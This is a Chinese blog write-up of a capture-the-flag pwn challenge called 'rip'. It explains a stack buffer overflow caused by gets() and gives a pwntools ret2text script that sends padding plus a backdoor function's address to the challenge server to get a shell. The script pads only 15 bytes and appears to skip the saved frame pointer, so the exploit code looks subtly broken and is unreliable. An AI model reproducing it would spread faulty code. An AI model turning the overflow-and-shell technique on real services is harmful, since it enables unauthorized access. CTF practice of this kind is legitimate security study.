pwn:rip

6 篇文章 0 订阅
3 篇文章 0 订阅

题目

解题

nc连接 输个ls先查看情况

查看文件pwn1的情况(使用checksec指令检查文件保护)

由以上可以知道

64位小端模式 

RELRO部分启用

Stack Canary:未启用栈保护,程序未使用栈金丝雀(Canary),意味着可以直接进行栈溢出攻击,不需要担心触发canaries检查

NX 未知,且没有GNU_STACK标记

PIE:未启用

Stack Executable:栈可执行

RWX:程序存在可读可写可执行阶段

Stripped:未剥离符号表

用ida64打开文件 如下

以上伪代码显示如下

gets()危险函数,会一直读取用户的输入,造成栈溢出

gets 没有长度检查,会直接从标准输入读取数据到缓冲区 s 中。如果用户输入超过 15 字节,缓冲区 s 就会发生溢出,覆盖栈中的其他数据

找到提权函数 进行权限提升

系统命令执行函数的标准特征

找到这个函数的地址 push开始的位置,就是这个函数进入程序执行的象征

payload

from pwn import *                 #调用pwntools库
 
p=remote('node5.buuoj.cn',26455)  #设置要链接的服务器,这一句就是为了链接服务器
 
flag = 0x0401186                  #bin/sh那个函数的地址,0x表示16进制
 
payload = b'a'*(15)+p64(flag)     #生成15个垃圾二进制数据,b'a'表示二进制的字母a。栈填满了之后,加上目标函数地址,就可以执行这个函数
 
p.sendline(payload)               #发送这个攻击载荷
 
p.interactive()                   #与控制台进行交互,之后就可以执行指令啦

运行脚本

找到flag

参考学习连接

CTF-PWN学习-为缺少指导的同学而生_ctf pwn-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值